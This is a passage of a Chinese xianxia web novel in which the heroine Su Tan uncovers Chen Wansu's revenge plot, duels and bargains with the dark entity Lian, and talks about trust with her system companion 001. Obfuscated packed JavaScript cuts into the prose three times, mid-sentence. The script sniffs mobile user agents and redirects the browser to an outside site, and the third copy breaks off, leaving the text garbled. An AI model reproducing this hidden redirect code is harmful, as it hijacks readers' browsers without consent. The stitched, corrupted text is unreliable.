不知道阿郁的性子到底是怎么回事,我打他,骂他,他都不还手。哪怕只是顶撞我一句,都会让我比现在好过。 我现在应该已经入莲所说,神智被影响,精神变得不受控制了。 唉这都是我应得的。 不过,一切都快有个了解了。快了。” “仙历七十二年秋,九月初三,阴。 明年春天轮到遣凌派举办一年一度的仙门试炼,我的计划也该开始了。 莲?他被我施了禁制,锁起来了。锁在一个无人知晓的地方。 倒是陈鑫郁是个没用的家伙,也不知道这件事交给他办,他做到做不到。 糟了,他的药还没服用!” “仙历七十三年春,三月初五,阴雨。 陈鑫郁果然办砸了……废物一个。 罢了,解决一个灵脉残缺的人倒也不急,陈鑫郁办不到,我来就是。 倒是苦了阿郁,我疯癫的模样怕是吓到了他,晚些得去看看他……” “仙历七十三年夏,八月初八,阴。 再有半年,这一切从哪里开始,就从哪里结束。所有不该存在的人,都要消失。” 陈万肃的随笔到这里彻底结束。 苏昙看完,长长吐出一口气,整理好这些信纸,用术法将砚台恢复如初,把信纸重新放好,一切都和刚进来时没两样。 她坐到书桌旁,开始消化吸收这些信息。 很明显可以看出,陈万肃的神智的的确确受到了黑气的影响,不然也不会由爱生恨,恨到想要杀掉情敌的女儿,也就是苏檀。 但有些东西,即使在隐蔽的信封里,他都是模糊一笔带过。 譬如,陈万肃到底对黑影做了什么?为什么陈万肃会觉得对不起陈鑫郁?还有,陈鑫郁为什么要吃药?他的身体到底有什么问题? 不过,眼下可以确定的是,半年之后,陈万肃要在冥谷报十八年前的灭门之仇。 她现在只剩下半年的时间可以计划。话说回来,陈万肃在信纸上写,他把莲锁了起来,想必这个莲就是曾经进过她识海的黑影。 当下还是要先找到这个叫莲的东西。 苏昙再次观察房间。 整个房间的设施摆放中规中矩,并没有什么不和谐的地方。书桌背面的墙上有不同模样的莲花浮雕,凸起的轮廓黏有细碎金粉,在屋内暖光的照射下熠熠生辉,逼真得快要从墙上开出花来。 苏昙的视线掠过墙体,而后又晃了回来,停留在这些栩栩如生的莲花上。 有一个地方看起来…… 她的目光汇聚到一点——最中间一个莲花根部的颜色比其他地方看起来要暗。其他地方的金粉分布均匀,看起来色泽一致,偏偏在她视线扫过中间的时候,好像缺了点什么。 苏昙朝那走了几步,把手轻轻放在颜色暗淡的哪一个小凸起上。她将黑气通过指尖注到凸起,用力向里按了一下。 “咔哒”,墙上出现一条裂缝。左右两边的莲花一分为二,露出墙体后面的空间。她走进去,发现这条通道弯弯绕绕,中间没有一点灯光,伸手不见五指。 七拐八绕之后,苏昙终于进到一个点着微弱烛光的空间。她脚下的地方开阔空荡,除了墙上摆着的烛台看不到其他东西。 “是你。” 她敏锐地察觉到身后站着一个熟悉的气息,正是许久未见的莲。 莲像是见了个熟悉的老朋友,亲昵道:“几月不见,你修为果然大有长进,我竟然连你的识海都无法进去。” “不然呢,像第一次那样吗?” 周围烛苗跳动,把苏昙的影子映在墙上,拉得长长的。霎时间,另一个黑影跃上墙壁,飞速靠近她。 苏昙左脚后撤,右膝弯曲,侧身躲过莲的攻击,顺嘴嘲风道:“什么年代了,攻击还要搞偷袭?” 她借着刚刚侧身的力度转半圈,抬起手臂给了莲的下巴一个肘击。 “啊!”莲发出一声闷哼,在手心变出一根九尺长鞭,鞭身环绕着浓郁黑气,“想必你也知道这黑气的力量,你可知它反噬到身体是何种感觉?” 说罢,他甩动手腕,九尺长鞭瞬间变为之前两倍长度,径直抽向苏昙。 苏昙踮脚轻盈越过长鞭,从腰间拔出匕首,勾起嘴角笑道:“那你可尝过我这刀刃的滋味?” 她脚下生风,瞬间靠近莲,匕刃对准了莲的脖子,划破空气,就要捅进那里!莲被陈万肃削了那么多次,也不是吃素的。他身体柔软地向后倾,堪堪躲过苏昙这一击。 他手中长鞭围绕苏昙画了个圈,将她圈在其中。鞭子围成的圆圈迅速缩小,内圈包裹着黑气的倒刺朝着苏昙腰窝刺去! 苏昙神色一凛,单手唤出体内黑气,活生生将包围自己的长鞭震碎。随后压低身体,毫不拖泥带水地从莲斜后方滑走。 顺道留下了一句十分挑衅的话:“怎么,你以为就你有黑气?” 莲大骂一声,丢掉损坏的鞭子,追上苏昙。苏昙轻巧地跳起来,右脚登在身旁的墙壁,在空中做出一个干净利落的前空翻,左脚点到另一边墙上。 莲紧随其后,伸手攻向苏昙肋间。苏昙被他牵制住行动,只好放低手臂挡住他的攻击,从墙上翻下来。 莲贴近苏昙的身体,欲提膝顶她腹部。 苏昙退后,抬脚把他踹出两米开外。 “上次就想骂你,能不能不要离我那么近,不觉得冒昧吗?!” 莲被踹得喘了半天气,举手示意先停一停:“我还有事和你说。” 苏昙半信半疑看着他,依旧没有收回匕首。 莲一屁股坐到地上,说道:“你能找到我,想必就已经把陈万肃的那些事情知道了个大概。那我也不多废话——我想杀掉他。” “不是,你们修仙的、练黑气的都这么喜欢你杀我,我杀你,干什么?调情吗?” 苏昙实在不理解,为什么系统就不能给她一个相亲相爱的圆满大结局,非要一直打打杀杀。 莲:“骂人就骂人,别骂自己。” 苏昙:“……” 莲提醒她:“若不是我在虚境提前进入你识海,你以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462492|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为就以你的水平,修为能提升这么快?那时候陈万肃若真对你动了杀心,区区一个你不在话下。” 苏昙忽略他话里溢出来的油腻自信,问道:“在虚境开始,你就想从我身上得到什么。说吧?” “不为什么。我就喜欢看人心险恶,相互算计。” “……你不怕把自己算计进去?” “不怕啊。” “你不担心死得比陈万肃早?” “我不会死。” “……” 自信得简直令苏昙无言以对。 她问:“为什么?” “因为我命非我命。” 苏昙回想起陈万肃曾经的随笔,想到什么,说道:“因为陈万肃曾经对你做过什么,用陈鑫郁来牵制你,你的命就是他的命。” 如果她猜的没错,陈万肃对莲做的事的的确确牵制了他,牵制的关键就在陈鑫郁身上。估计莲就是受不了这样被人压低一等的日子,才想要另寻可以任自己操控的躯壳。 然后便发现了苏檀——一个灵脉残缺,性格缺陷,还急切想要变强的修仙之人。任谁来看,她都再合适不过。 苏昙听莲“哼”了一声表示肯定。 她停了几秒,将话绕回正题:“所以,你要和我说的事,就是让我替你杀了他?” “没错。” 莲缓得差不多,一晃站起来,说道,“这里有陈万肃设下的禁制,我平日里无法出去。只有在每月月末,阵法微弱时才能勉强逃出。作为帮我的交换,我会助你变得更强。” “你以为你们修炼的是黑气,实则在使用我的力量。只要我一日不死,黑气就存在一日,自然便能帮你一日。”莲话里流出自傲。 苏昙心里冷笑。他可真是打了一把一石二鸟的好算盘。 怪不得陈万肃每月末会来望月峰,美其名曰看望弟子,实则背地里偷摸回岳门宗,不好好监禁着莲,谁知他还会做什么。她现在面临的危险不仅来自陈万肃,现在又多了个实力相当的莲。而她要帮原主渡过劫数,就必须要活到最后。 苏昙很快在心里盘算清楚——这两人都得死。 她抬眼对莲说道:“我可以答应你。但既然要合作,互相了解对方理所应当。我就不用多说,你应该心知肚明。那你呢?我还记得我们第一次见面,你说你无门无派,那你从哪来的?” “我不知道。自我有记忆起,就生活在冥谷。但我一定是受了上神的指引,才来到的冥谷,为所有需要的人送去黑气。” 苏昙:“……” 前半句听起来倒像是真话。 她扯起一边嘴角:“见过上神吗,就一口一个上神。我还说我见过主神呢。” 莲似乎没听清苏昙刚刚的话:“主神?那是什么神?” 苏昙没搭理他:“行了。既然约定,签个契约更保险。” “好。”莲爽快地与苏昙签下血契。 事了,苏昙有些担心在这里带得太久被人发现,开门见山地问:“所以你要如何助我变强?” “菜就多练,勤能补拙,我当陪练。” “……”苏昙已无力反驳,决定道,“左右你也出不来,我有空便来找你。” 莲走近两步:“没问题。忘了告诉你,其实冥谷里也有来这里的路,还可以绕开宗内——” 他邪笑了一声,毫无预兆抬起手掏向苏昙心脏! 苏昙瞳孔皱缩,下意识后退,依旧没来得及躲远,被他伤到,左胸口瞬间传来撕裂般疼痛。 谁知她抬起头,脸上却带着比莲还肆意的笑:“可惜了,我也正有此意。” 莲错愕地低头,这时才感受到左臂迟来的痛感。 不知何时,他的整只左胳膊都“不翼而飞”。 “我的……”莲痛得紧紧捂住左肩,那看着黑黢黢的脸竟错觉般多出几分苍白。 苏昙看了眼刀刃上还热乎的黑血,惊讶道:“原来黑心的人,连血都是黑的啊!呕。” “你——” “你说的,勤能补拙。”苏昙无辜地看着莲,“多谢赐教,告辞!” 她头也不回地转身,眨眼闪出莲的视线。 35. 世界二(20) 岳门宗演武场。 正在教弟子们修习体术的朱长老看到陈鑫郁脸色不是很好,上前关心道:“陈弟子,你不舒服?” “我没事,休息一会就行。” 陈鑫郁将右手捂在左臂,紧皱着眉心,告诉正在和自己对打的同伴先停一下。 他退出人群,坐到一旁的角落里休息。 不知道怎么回事,就在刚刚,他准备抬手施法,左臂却忽然一阵剧烈的疼痛,犹如被剑砍刀割,使他身体瞬间失力。然而,他的两条胳膊都还好好的,并没有缺斤少两。 朱长老还是有些不放心,他走到陈鑫郁身边:“要不等陈宗主来了,我去和他说一声吧。” “一个男的,那么娇气干什么,歇会不就好了!”金迩在一旁听见,不屑道。 陈鑫郁没有理会金迩的嘲讽,对朱长老说道:“不用麻烦,我……我一个人没事的。” 朱长老只好作罢:“那你自己多注意。” 陈鑫郁缓了一会儿,痛感还是不见减弱,整个人反而变得更加昏沉,又一会竟发起高烧。 再待下去也无法继续修习,陈鑫郁干脆向朱长老告了假,早早便回去休息。 * 苏昙被莲猝不及防捅了心脏,什么淡定洒脱都是装的,实际一点也不好受。幸亏她及时调理内息,才没有使伤口变得更严重。就是现在……看起来有些狰狞罢了。 倒是莲,估计他的胳膊要疼个几天才能恢复。 苏昙擦去额头冒出的汗珠,进入冥谷,坐到自己常修炼打坐的地方。不知道什么时候,她曾经觉得阴森的地方,反而能让她感到安全。 她冲识海问道:“在吗,001?” “嗯……你又受伤了?” 苏昙没有废话,直接入识海和他交流:“在陈万肃的密室里,你听到莲说的了吗?” “他说了挺多……”001微微皱着眉,将视线从她的伤口移开,想起什么,问,“你是指他的身世?” “没错!”苏昙发现和001说话就是要比别人省力,一点即透。她继续道,“莲说他不知道从哪来的,听起来不是说谎。但关于他的所有,都给我一种很巧合的感觉。” “巧合?”001思考片刻,“确实,他不是什么好人,冥谷里的邪祟也不是什么好东西,全凑一起了。” “那时我提到主神,莲的神情有些异样。他先是和陈万肃扯上关系,后来又找到我。对了,你还记得上一个世界里我身上绳索突然掉落的事吗?” 001话里闪过一瞬不易察觉的紧张:“记得。” “那时你对我说这件事是一件意外。”苏昙停了几秒,“但我能听出你话里有疑虑,现在还不能告诉我吗?” 001没有回答。 苏昙步步紧逼:“你是不能说,还是不想说?我知道问你这些有些越界,但——” “五个月前,在冥谷,”001打断了苏昙的话,缓缓开口,“你说我因为不信任你,所以不认同你的做法。” 苏昙愣了一下,忍不住回想,好像是有这么一回事?但她那时就是随口一说,没想到他竟记得一字不差。 001声音沉静:“当时我有话没来得及说出口,回去之后又想了很久,还是想让你知道。” “什么话?” “我会试着主动去相信你,你可不可以……也多信任我一分?” 尽管身处黑暗,苏昙听到001的话后,还是不由睁大眼睛。 他这是、认真的吗?苏昙从他的语气里找不出任何破绽,甚至还有一丝委屈? 不对,一定是她的错觉。 她迟疑地问:“为什么?” 为什么会突然说这个? 说实话,她现在被眼前这个子系统的脑回路搞得有点懵。 001坦然道:“其实,自从和你相遇,我能感受和察觉到的情绪越来越多。虽然现在我还没能搞清楚这些情绪都是什么,但能收获体验更多情感是我一直想要做的事情。主神和我们子系统有过约定,若是宿主能成功完成任务回到现实世界,祂会给宿主的子系统一个人类身份,那时我们就可以离开虚空之境。” 苏昙很少听001一口气说这么话,还那么认真,搞得她也忍不住挺了挺胸脯,一字一句地分析起来。 她听得出他说出这些话下的决心。 001这个子系统其实并不难懂,他的思想比人类要单纯得多,从不来那些虚头巴脑的弯弯绕绕,心里想什么便说什么了。 一个有些死板、有情绪缺失并且已经活了上百年的子系统想要获得更加完整的情绪体验,甚至不惜抛去长命百岁这种人人艳羡的buff——这种行为简单来说,就是想活得像个人。 尽管他在她心里的形象从一开始一直都是人。 “但我可不敢保证能不能成功回去,”苏昙瞅瞅周围黑乎乎的一片,说,“至少现在看还远着呢。” 001朝她走近了一步:“我想成为人类,但不是强求你完成任务,也不是为了给你压力。只是不想让你觉得,我在这种事情上面对你有所隐瞒和欺骗。我记得,人类一向重视真心,而且提倡“将心比心”。所以我们之间多一些相互信任,好吗?” 苏昙咂摸着001的话,才发现这个人平常只是不善言辞,实际上还挺心细的。 她眼底含笑,一个主意跳到脑海。 苏昙主动走到001身边,准确无误地在黑暗中,拉起了他的手。 还没等001紧张得浑身僵住,便感觉到她像那些商业大佬谈合同一样,交握住他的手,在半空晃了晃,听她同样真诚地说:“好啊,我愿意。这就是信任的第一步,我的同伴。” 001喉结微动,甚至能看到她眼里微弱的碎光。他已经逐渐习惯了心脏狂跳的陌生感受,静静缓了一会,才问道:“握手吗?” “呃……你也可以这么理解。” 苏昙发现001的脑回路还真是清奇,以后再在他面前开玩笑可要注意,不能再乱说话了。 她暗自思忖,松开了001的手,把话题重新拉回到之前的疑问:“我觉得上一次绳索突然掉落和这个世界莲的突然出现都很奇怪,但我实在说不出哪里怪。” 001蹭了蹭她留在手心的余温,补充道:“就像是被人安排好的,在该出现的时候登场。” “对!就是这个感觉!” 苏昙心里的感觉被描述出来,瞬间舒服许多。 “以前我带的宿主,大部分都留在了前两个世界,就算我能察觉出不对劲,也无法接着观察。但现在来看,这更像是一种规律。” “什么意思?” “主神说过,这里所有的世界都是祂经过挑选,分给不同的宿主。我曾查过记录所有失败宿主的档案,绝大多数连前一个世界都过不去,清一色都是失败。就好像必须要遵循某种规律,到这就该停止了。” 苏昙看向001在的位置:“所以,你也认为这些事和主神有关?” “只是猜测,还不能确定。” 苏昙越想越觉得主神可疑:“你们主神到底是个什么样的存在?” 001:“神秘,强大,所在之处充满了令人恐惧的气息。” “这些都是客观。主观呢?你觉得祂怎么样?” “我……”001停顿了一下,“我不知道。祂比我们都要复杂。子系统是主神分下的一缕缕神识,这些神识,成就了我们的主导性格。说白了,我们算是祂的一部分,但又不完全是。” 苏昙恍然,怪不得001想要有情感体验,原来他是一个觉醒了自我意识的子系统! 她试探道:“看样子,你也很不满那什么主神?” 001耐心纠正:“没有不满,我只是还不够了解自己。” “那你说,我有没有可能会受到主神的威胁?” “主神不直接负责宿主,中间有我们子系统,你可以放心。” “是吗?” 苏昙直觉告诉她,这个所谓的主神没那么简单。 “……你还是不肯相信我。” 苏昙:“?” 这个“人”今天怎么这么主动!到底是谁教他的?! 眼见001要学以致用,拉起自己的手表示信任,苏昙连忙说:“都说好了,我会试着对你多些信任的!” 001这才把手收回去,神情稍稍缓和:“主神那里,我会暗中调查,你不用太担心。” 苏昙随口夸了一句:“就知道你最靠谱!” 说话间,她感觉到胸前的伤口不停传来刺痛,习以为常地从识海出去,拉开了衣襟准备给伤口上药。 001一贯淡定的语气突变:“你——” “你什么?” 苏昙看不到001,只感觉到他听起来怎么这么羞恼? “我还在这里。” “所以呢——” 苏昙一顿,差点咬到舌头,立刻反应过来——尽管001是子系统,那他也是个正常男性!她已经习惯一个人独来独往,都忘了还有一个活蹦乱跳的大男人在识海里盯着她! 她轻咳一声,飞速拉上衣服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465915|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强硬命令:“转过去,不许看!” 识海里的001早已闭上眼,乖乖照做。 “这还差不多。”苏昙感觉到他的动作,才继续安心上药。她想了想,又叮嘱道,“那你调查的时候一定小心,千万别让主神发现再惩罚你啊。不然,我算是真的还不起你几次的救命恩情了。” 不知为何,001听到她这么说,心里像开了一朵小花,香了他满胸口,心情很不错地应道:“嗯,好。” * 第二天,苏昙身上的伤已经好得利索,算着到了该回望月峰的日子,晚上悄悄回到了和何瑚居住的小屋。她小心地推开门,生怕打扰到何瑚,简单脱掉外衣和鞋子就上了床。 屋外月色皎洁,万籁俱寂,苏昙却发现自己失眠了。她侧身看到何瑚平静的睡颜,心头一动,轻声试探问道:“何瑚?” 回应她的是一串均匀的呼吸声。 苏昙有时也很讨厌自己的避重就轻的性格,有些话越是拖到最后,越是难以开口,只能在这种时候,才能鼓起勇气倾吐。 “其实……我有件事早就想和你说了。你那么聪明,肯定猜得出我来望月峰其实别有目的。还记得我和你说过我身上的劫数吗?五个月前,我想到了一个渡劫的办法,只是这办法没那么光鲜,所以一直不愿告诉你。” “我知道,你把我当成好友,但我真的不知道该怎么和你说,好像怎么说,都是在把你往外推。我日日待在冥谷,就是为了修炼黑气。黑气,你知道的,就是我们在虚境里遇到的夭勒妖身上萦绕的气息。那时我意外发现,我竟然能够吸纳黑气,把它内化为自身修为。” “可这是一条和修仙完全相悖的道路,若让其他人知道你我关系,恐怕会拖累你的名声。我之前有一个……朋友,他告诉我,正是因为我想了太多,才会顾此失彼。其实他说得很对,自来到望月峰,每每见到你,我变得不知道该怎么和你交流。说多了怕露馅,说少了又生分。” 苏昙自嘲地笑了笑,觉得向别人袒露真心也不是一件什么羞耻的难事。她彻底没了睡意,撑着胳膊坐到了床头,继续思考接着讲什么。 然而,还没等她再次开口,身侧睡着的人突然说话了。 “那你现在不是说了挺多。” 苏昙尴尬地摸了摸鼻尖,问:“你……醒了?” “是啊,从你夸我聪明的时候就醒了。” “那你都听到了?” 何瑚没有说话,她睁开眼睛,并排和苏昙坐到床头,又盯着她,面无表情地点头,然后毫不留情朝苏昙胸口给了一拳。 苏昙知道何瑚生气自己骗她,既没躲也没还手,眼也不眨地接下了这一拳。她本以为这一拳不够,至少要再来几下,结果何瑚先一步抱住了她。 苏昙不知所措道:“你不想继续打了?” “打什么啊!”何瑚把头埋在苏昙肩头,声音有些颤抖,“你是不是傻?都这样了我还怎么下得去手!” 苏昙无奈地拍拍她的背:“我现在不是好好的。” “谁说的!你以为我什么都不知道吗?你以为你能骗得了我?”何瑚撒气似的把眼泪全都抹在苏昙肩头,“我早就发现你来望月峰学堂上课的规律,半月才会出现一次。美其名曰是南宫峰主的弟子,不用像我们日日修习,实际上就是为了你去冥谷修炼做遮掩!” “起初我还不信你有隐情,后来偷偷跟了你一次,亲眼看见你进了冥谷。等到你再出来,脸和嘴唇白得活像被吸干了血,走得摇摇晃晃的,差点没把我吓死!结果只一小会,你就恢复了正常,没事人一样地离开了。后来我查了好多古籍,才知道这一切都和冥谷有关系!” 苏昙知道她去冥谷修炼的事瞒不了何瑚多久,没想到何瑚发现的远比自己想得还要早。 她叹了口气:“我去冥谷的事,现在只有望月峰两位峰主和你知道。” 何瑚一愣:“那令尊令堂呢?他们竟然都不知道?” 苏昙摇头:“我没告诉他们。一来是不想让他们担心,二来这件事还是越少人知道越好。” “可你瞒不了一辈子,他们最后肯定会知道。” “瞒不了就坦白。但我如今半成不就,他们知道也没什么用,帮不上什么忙的。” 何瑚看着苏昙云淡风轻的神情,总感觉天塌下来她也还是这副模样。 苏昙看何瑚脸上也没什么睡意,索性说道:“要不我给你讲讲冥谷里发生的事吧。” 何瑚闷闷不乐地想:她又要转移话题。 嘴上却被好奇心驱使着答应,竖起了耳朵。 36. 世界二(21) 何瑚在虚境见过黑气,说起来也容易。和她聊完,苏昙心里也轻松了不少。 自与莲交手之后,她始终对莲和黑气的出现持怀疑态度,如今黑气又牵扯到陈万肃的复仇计划,苏昙清楚时间是一刻也耽误不得。 她来到冥谷阵眼附近,在阵眼旁的一个小洞口停下。 这里应该就是莲说的去他那里的另外一条路。她微微弯腰,穿过隧道,果然见到早已在密室等候的莲。 莲似乎毫不意外她会自己找到来路,只懒洋洋道:“来了?” “看你好得差不多,那我就不废话,直接开始吧。” 苏昙活动筋骨,唤出手心两团黑气,做进攻姿态。 …… 两个月后。 “再来!” 苏昙抹掉嘴角血丝,向莲勾了勾手。 莲喘了几口粗气,卯足了劲攻向她。苏昙压低身体,伸腿横扫,躲过莲的攻击。 她握拳锤向莲的心脏,显然下了死手。莲不甘示弱,将黑气化为利刃,朝苏昙脖颈间割去。 苏昙侧头,脖间堪堪被黑气划出一条血丝,手上却因为躲避泄了些力气,落在莲的胸前也只是让他落了个皮开肉绽,并未伤到内里。 莲大喝一声,因为体力不支跪倒在地上。苏昙看着他,清楚他其实就剩下一口气吊着。而这一口气,正是他说“死不了”的关键所在。 “你可真难杀。” 她停了手,走到一旁,坐下整理沾满血污的衣服。 “这才过去两个月,你修为进步便如此之大。”莲似乎把剩下所有的气全从鼻腔里哼出来,“我履行了承诺,你可别忘了你答应我的。” 苏昙看来他一眼:“皇上不急太监急。陈万肃若是好接近,我早就把他的命取来了。不过,我倒是还有一个疑问。” “什么?” “现在能不能告诉我,陈鑫郁到底怎么牵制你的,为何你死不了?” 明明她现在的修为早已远在莲之上。 “……”莲眸色沉下来。 过了好一会才开口,他才说道:“是命星。陈万肃暗里把我的命星偷走,种到了陈鑫郁体内。所以,我的最后一口气在他身上吊着。” 苏昙脑海里浮现择徒大选前,看到陈万肃给陈鑫郁送药的画面:“那你知道,他每月都要服药?” 莲本就黑黢黢的脸仿佛又黑了一层:“因为他被陈万肃下了毒蛊。” “……毒蛊?” 自从进入系统,苏昙听到太多超乎想象故事,经历过许多脱离现实的事情,以至于她听到莲的命星竟不在自己身上,也没有多么惊讶,只是懊恼她竟没有想到,还能有这种卑鄙的做法。 但听到毒蛊,她心里着实倒吸一口凉气——陈万肃可真是个心狠手辣的人。 “没错。”莲说得很慢,似乎每说一个字便要把陈万肃在嘴里嚼碎一遍,“我的命星在陈鑫郁体内,致使我们二人痛感相通。一旦这该死的毒蛊的毒性发作,我也会痛不欲生。” “陈万肃为了牵制我,不惜利用自己的义子。”莲嗤笑一声,“哪算他最后众叛亲离,也都是他修炼黑气应得的!” 他闭上眼平复了一会呼吸,最后对苏昙说道:“你知道自己要干什么就行。反正有血契在,你赖不了账。” 说完,莲彻底失去力气,背着身躺下去,不再搭理苏昙。 苏昙把他的话全都听了进去,心里算着陈万肃估计快要到望月峰,便从通向冥谷的另一条路离开了。 今天是月末,也是陈万肃回望月峰的日子。在望月峰走完形式,他立刻回到了岳门宗。 朱长老正在学堂教课,看到陈万肃过来,停下拱手说道:“宗主。” 陈万肃点头致意,转身欲离去,余光突然发现什么,顿住脚问道:“陈鑫郁呢?他为何不在?” “是这样,”朱长老走到陈万肃身旁,“陈弟子这一段时间身体经常不舒服,我看得出确实如此,便让他回去好好休息了。” 陈万肃皱起眉:“不舒服?” “是的,他——” “算了,我去看看,你先继续教课吧。” 朱长老还要再解释,却被陈万肃打断。 他看着陈万肃离去的背影,想起自从来岳门宗后的种种,总觉得陈万肃对这个陈弟子同其他人不太一样。 “宗主还真是关心弟子啊。”他低声感叹一句,摇摇头继续上课去了。 陈万肃快步走到陈鑫郁居住的房间,刚到门口便听到里面传来阵阵压抑的喘息。他眉心紧皱,直接推开门。 陈鑫郁蜷缩在床上颤抖,闻声惊恐地回头,看到他日思夜想的那个人正站在自己面前,脑子一片空白。 ……他怎么会在这? 陈万肃眼神瞬间冷了几分,朝陈鑫郁走过来。 “别!别过来!” 陈鑫郁连连后退,几乎要把整个身体靠进墙里。 “我不是每月都给你药了?” 逼问间,陈万肃已经坐到陈鑫郁床上,把他拽到身边,将手探向他的脉搏。 “?!” 陈万肃心里一惊,这脉象像是日夜和人对打导致元气大伤所致! “你这段时间都干了什么?”他直视着陈鑫郁的眼睛问。 陈鑫郁像是怕极了他,又忍不住想靠近他,整个人颤抖道:“我……我什么都没干,我想去修炼,可我总是身体难受……我只能待在房间里休息……我疼……” 陈万肃随陈鑫郁的目光看过去,才发现自己把他的手腕攥得通红。 他松开手,什么话都没说,将自己的灵力注到陈鑫郁身上。 “义父……对不起。” “好好休息吧。” 陈万肃看陈鑫郁脸色好了许多,不再说什么,转身离去。 刚走出房门,他恍然想到什么,不可置信地加快脚步,来到关着莲的密室。 十年前,他为防止莲威胁陈鑫郁,偷偷把莲的命星种到了陈鑫郁的身体里。若是陈鑫郁死,则莲也活不成。同时,因为莲太强大,为了牵制莲,他又在陈鑫郁体内施了毒蛊。毒蛊每月末发作一次,若是没有解药,便会痛不欲生。 因为命星,两人痛感相通,毒蛊一旦发作,谁都不会好受。这样一来,莲就对他陈万肃本人也构不成威胁了。 如今陈鑫郁身体无缘无故出现问题,陈万肃心里预感越来越强烈。 密室里,莲正悠哉游哉地翘着二郎腿喝茶。 陈万肃:“有人来这见过你?” 莲:“有啊。” “谁?” 莲似是没忍住,笑出声来:“你啊。” 陈万肃检查周围的确并无异样,心里依旧留下疑虑,再次加固密室的封印。 莲饶有兴趣地看着陈万肃施法:“有这功夫,你不如去外面看看,说不定还能有什么发现。” 从密室出来,陈万肃想起莲最后说的话,站到书桌前,用术法检查了房间里的每一处细节,最后目光落到桌面上摆放的砚台。 砚台的上下位置颠倒了! 因为莲花摸样,这砚台看起来对称,实则一朵花瓣要比其他的小一些,是他专门这样做的。 他记得,原来这片小的花瓣朝着里,现在却朝向外面。 有人来过这里。 还动了他的东西。 * 苏昙从冥谷出来,没有停留,立刻回到望月峰,洗了个热水澡,把身上的血污洗得干干净净,然后和其他弟子一起去学堂听学。 午后温暖的阳光洒在苏昙身上,课还没上一半,苏昙困得快要睡着。每天待在冥谷,不是杀邪祟修炼黑气,就是找莲对打,要养一身伤不说,熬夜都是常有的事。 就在她只差一秒进入梦乡时,授课长老的声音钻进她耳朵,不大不小,刚好够叫醒一个将睡未睡的学生。 “苏昙,你出来一下。” 苏昙叹气,任命地睁开眼,走到外面:“长老。” “你们派的陈万肃长老找你有点事。” 陈万肃?他来干什么? 苏昙的瞌睡瞬间不见,只怕陈万肃找她另有其事。 莫不是发现了她私下去见莲的事情? “陈长老。” “苏檀,你这些时间在望月峰可还适应?” 苏昙心里对他的惺惺作态翻了个大大的白眼,稍微侧身,避开众人视线,直白道:“在虚境您可不是这样说的。怎么,终于想起自己还是个长老了?” 陈万肃面不改色道:“你体内黑气会对身体产生不可逆转的伤害,我可入你识海查看一番。” “陈长老不必了。”苏昙退后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏昙点头,摆好姿势,脑海里尽是她以往观察总结出的,关于梅玉实战的习惯: 梅玉这个人好胜心强,得失心中,善防不善攻,所以教授的对战技巧大都以防守为主。不过他修为高,法力深厚,恰恰弥补了弱攻的缺陷。在防守时,他习惯先护住身上的命门,如头、胸、腰,反倒容易将自己的下三路暴露出来。 不过,苏昙也不打算非要和梅玉争个高下,这一次她就是要输,不仅要输,还要输得很惨。 咻!梅玉起掌冲向苏昙,施出修仙之人都熟悉的阴阳拳。 阴阳拳打在身上不痛不痒,却能扰乱修仙之人的内息,使之自乱阵脚。 苏昙身如轻叶跳起,跃身转到他背后,捏出一个缥缈诀,瞬间分出五个一模一样的身体,绕在梅玉周围。 来到望月峰这小半年,苏昙虽每天都和黑气打交道,但灵力修炼可没彻底搁置一边,有事没事的时候,苏昙也在琢磨苏婉凌交给她的灵隐心法,尽管到现在她还没悟出什么滋味来。 不过,这可是当今“寒逸器仙”传授的心法!哪怕当成鸡汤一口闷了,那也是高浓大补的好汤,就算品不出滋味,功效早就潜移默化在五脏六腑了。 苏昙藏在这五个分身之中,向梅玉进攻。 梅玉紧闭双眼,双手交叠放在前胸,念出震渊咒:“四方有形,八方聚气,震渊有声,破!” 一念间,五个分身被识破,苏昙迅速用灵力护住身体,飞落到梅玉对面。梅玉睁开眼,升到高空,紧接着朝苏昙施出梭化掌。 苏昙迅速转攻为守,侧身在地上翻滚躲避,不料还是被这一掌击中右小腿。 “没事吧?” 梅玉停下来,他出手时收了力,况且对战中受伤是常有之事。 “……我没事,继续吧长老。” 苏昙撑地站起,活动活动小腿。 下一秒,她双臂环成团状,扔给梅玉一个六弦诀。六弦诀能遮人耳目,短暂迷惑修仙者的心智。 没想到,梅玉竟接下这法诀,又原封不动地给苏昙扔了回来! 苏昙以左脚为支撑点,像兔子一样蹦跳着躲开这一击。蹦跳着,苏昙离梅玉越来越近。梅玉只顾对战,看到她靠近,下意识再次施出梭化掌。 这一次,苏昙特意收了灵力,稍微转过身体,避开胸前致命的地方,如预想中的那样,完美地接下他这一掌。 梭化掌的冲击让苏昙呕出一口鲜血,同时被瞬间击飞出去,撞到远处的石柱。她闭上眼,已经在心里做好卧床几天的准备,可等了好一会,后背的疼痛却意外没有出现。 37. 世界二(22) ——是001。 他又用自己的力量垫在了苏昙身后。 苏昙万分惊讶地看着这个意外出现的人,不解道:“你这时候出现干什么?” 她紧闭着眼,掐诀进入识海,找到因为保护她而受伤的001。 “……我不知道。等我反应过来,就在这了。” 